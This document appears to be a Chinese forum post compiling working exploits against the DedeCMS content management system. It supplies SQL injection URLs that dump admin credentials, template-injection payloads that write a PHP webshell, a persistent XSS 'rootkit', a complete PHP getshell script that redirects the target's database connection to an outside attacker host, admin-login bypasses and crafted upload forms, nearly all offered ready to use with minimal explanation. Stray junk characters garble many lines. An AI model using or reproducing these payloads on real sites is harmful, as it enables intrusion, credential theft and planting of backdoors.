dedecms漏洞总结

admin

- R- H- c/ {% i" m8 V6 BDedecms 5.6 rss注入漏洞
9 j8 H2 |4 ?+ n' Yhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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* u/ P9 E% V" I" S; lDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
$ P% t$ v2 U) e: j( {生成x.php 密码xiao，直接生成一句话。
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. _, U* e- y, i: Q2 |Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
. Z/ w! H! w! Y6 R5 uhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

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% u8 j" V4 p/ Q5 DDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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0 h7 K/ P$ c, [% c% rDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
0 E( M* l: |3 F& M* Jhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

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http://v57.demo.dedecms.com/dede/login.php

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color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
5 e7 |+ {* o3 e; o: K  U<?php
error_reporting(E_ERROR);
- W2 p/ B: N( K( C" ?set_time_limit(0);
+ F1 h1 _, ~+ v0 b& W; L: p% u- wprint_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
  U) k# N: o7 Z5 gif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
% |% A, q& r9 i) Q) B5 ~Example:
php '.$argv[0].' www.site.com 1 old
; V8 O7 w5 N" I6 U+---------------------------------------------------------------------------+
');
5 `3 R: p9 Y" M. r0 Y) ?2 {exit;
}
% ~# r8 {1 m1 i- s. c) `$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
, @1 N8 C* b) Y0 K4 z$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
% ~% N5 x7 R; ^% ]Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
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% E7 r8 T# s9 ?3 }# Z) A* Bif($aid==2)echo "
, l$ M. F/ n) e* HShell:".$url."/$path/fuck.php\n" ;


! L5 {; P5 k6 d9 yif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
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}else{
. i  @* p& [4 i" W. C( j5 Qecho "
0 [# q! Z; a' [/ @* _1 ?( cExploit Failed \n";
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function Getshell($url,$aid,$path){
! e2 q7 L& _; p/ T) ?$id=$aid;
$host=$url;
) B# m; c" g# T$ a; P8 k6 x; O$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
+ m' r5 a0 q8 {; f  x, l" Q( D$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
4 i5 r, Y& u1 s8 [$ H, t$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
1 x8 Y7 [) B. Y+ g# b" X- h$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
7 o( w" g! i4 C7 Z. ^2 O+ D( }$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
7 K4 T7 O9 f" Q0 k8 s$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
8 t: y) U2 P$ ?, C% O7 S$ock=fsockopen($host,$port);
2 ^9 T# Q+ V2 s; P6 D. nif (!$ock) {
0 y% e( o0 A" y: mecho "
: t$ E" {1 `! P9 m( ANo response from ".$host."\n";
}
& t5 o  j! `9 N5 F5 |) Ifwrite($ock,$data);
while (!feof($ock)) {
( {1 h8 Q  y$ Q" S) C9 c8 K8 M* f$exp=fgets($ock, 1024);
return $exp;
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?>

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* X; t# t. b0 x# a  dDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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把上面validate=dcug改为当前的验证码，即可直接进入网站后台

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此漏洞的前提是必须得到后台路径才能实现
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! O! g  ^* ?9 Y' ^3 B2 gDedecms织梦 标签远程文件写入漏洞
- z6 z' t/ j. O* q前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
! h4 ^) `5 v4 T4 R0 n( D) b, L<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
( r, K2 N. v( E( [8 f- l" u<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
9 c' N0 ?$ B1 m# S% ?) z8 l<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
/ ^: S1 T; l4 l; X<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
+ J/ a4 e& b" h, A/ T4 I4 Odocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
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DedeCms v5.6 嵌入恶意代码执行漏洞
! c- K# ?) \1 y0 i- ^+ X注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
( p1 h& l9 o- N% ADedecms <= V5.6 Final模板执行漏洞
7 H5 W8 g& _" d, e% g' ^注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
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4 r! _/ E, a% H  Y/ X2 e) [4 d模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
& v* h0 N3 q3 I) C) \! {, i: ]$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
- t: `6 q$ X7 ~+ m8 t# v  Z. `<input type="hidden" name="dopost" value="save" />
: H2 h' t" h; U& p+ Z# D0 V<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
1 _. T! N5 w+ s) m7 n<input type="hidden" name="oldlitpic" value="" />
  ^/ p$ y" a# S5 F, {<input type="hidden" name="sortrank" value="1275972263" />
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0 V  W# D3 v$ L* l<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>


, [0 ~& Y: `5 Y<div class="postForm">
( m4 N* L' P" F2 Q<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
) I, U7 J4 z( U<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
5 }- R6 J9 U; m' c( k) A</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
: s. [) G5 q2 v' [4 b% d<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
. {1 I. {( N  `' g! x8 b$ d<option value='1' class='option3' selected>hahahha</option>
</select>


& ~$ u0 G& N/ w; B+ ~<label>信息摘要：</label>
: M, N6 _8 k: g  X3 u<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

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: A. A6 ~& j# E+ N/ c! k, Y<label>缩略图：</label>
4 z" A) e# ]1 R- x, l1 B% ?" E<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


1 d3 c' c, V7 K* Q<input type='text' name='templet'
2 n& z' T7 `# g2 a; }$ q7 ]value="../ uploads/userup/2/12OMX04-15A.jpg">
7 R8 N7 k' f+ a9 ?+ Z6 }<input type='text' name='dede_addonfields'
  e3 `* x( ?2 ^  Ivalue="templet,htmltext;">（这里构造）
4 `" E; K2 M6 ]</div>
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<!-- 表单操作区域 -->
( q  X# V# b' C& E<h3 class="meTitle">详细内容</h3>
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* M) k2 `3 {* F7 W9 B5 r. [<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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4 v1 J, M  d& R2 s; X( L; o4 o, O! \/ B<label>验证码：</label>
( M3 I; y9 ]& D  j+ Z6 f& Q<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
4 z, E, P- i9 h& w# e<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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' k2 z; U" [! F4 X3 }: z; W* T<button class="button2" type="submit">提交</button>
; l, I- |) l' o' d  W<button class="button2 ml10" type="reset">重置</button>
: d( M0 m2 G2 Y7 K% g</div>
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</div>
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</form>
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1 u! ]2 ^' F8 Z3 ]8 B5 R提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
9 w8 J* o* d$ V' }/ m假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
+ z4 d) N) a/ }即可以在plus目录下生成webshell：1.php
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3 j& v: m1 o0 e. jDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
" l8 O0 w( @; L  s5 M( |$ FGif89a{dede:field name='toby57' runphp='yes'}
8 k6 j& O# s+ [% ]* j. L& e% p: yphpinfo();
{/dede:field}
保存为1.gif
# F2 a: D+ |( H<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
) S5 l9 ]! u2 K  `- |<input type="hidden" name="aid" value="7" />
- G( P6 P  s4 g1 M<input type="hidden" name="mediatype" value="1" />
4 [' ?5 E- I1 S( ~<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
6 a4 `7 a- [1 b; O<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
9 x, `$ X% i8 ~# ?; R<input name="addonfile" type="file" id="addonfile"/>
+ U  A9 P4 z* ]& d' Y, l1 p<button class="button2" type="submit" >更改</button>
</form>

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8 N; ^# ~( I9 M2 W/ W9 t构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
$ ?  a  y3 W+ v4 i发表文章，然后构造修改表单如下：
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" ~$ S/ [$ Z# f3 A, ]<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
( v$ R9 h' A) `7 }# n<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
3 A- j7 n2 U; i/ k) V0 U<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
% \" U) @" ^% r# B! a" Z<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
' y5 d1 t7 ?% n& g2 d<option value='0' selected>请选择分类...</option>
: J+ G) [- w9 z: c$ k4 X8 e<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
# v. L( [" D4 z  s! M<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>

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织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif


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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
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' O* v4 _( x( T+ G2 k* Z6 BDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
/ F& W5 }1 g" {. |" |% T, V密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5


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5 H5 ^; a+ N: C; C织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
- ?* W8 |' z5 x* D7 N0 Z<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
5 W& y0 y. P5 n' V. k$ w' W</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
/ z; H# q  y6 F( V0 I<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
; @! T3 k+ N9 I0 j2 P<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
: h( f  o4 R; v* v: L5 N) h! f<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
. {) z0 M) P1 m2 N. b' F$ Y% v6 ^- z# D& UNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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7 L- o% N2 n1 T* J  {# W织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
  i* L  D) }* {2 N3 P% I1. 访问网址：
3 {) M9 q0 T# r& H" j+ N* Lhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
6 M0 Z+ l! S, x. Y可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
( L/ B: }: A$ S4 m7 B/ YError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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& b& F) ~) N' d9 K$ a! z# m' y<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

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按确定后的看到第2步骤的信息表示文件木马上传成功.

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, Z! J' s, D& [织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*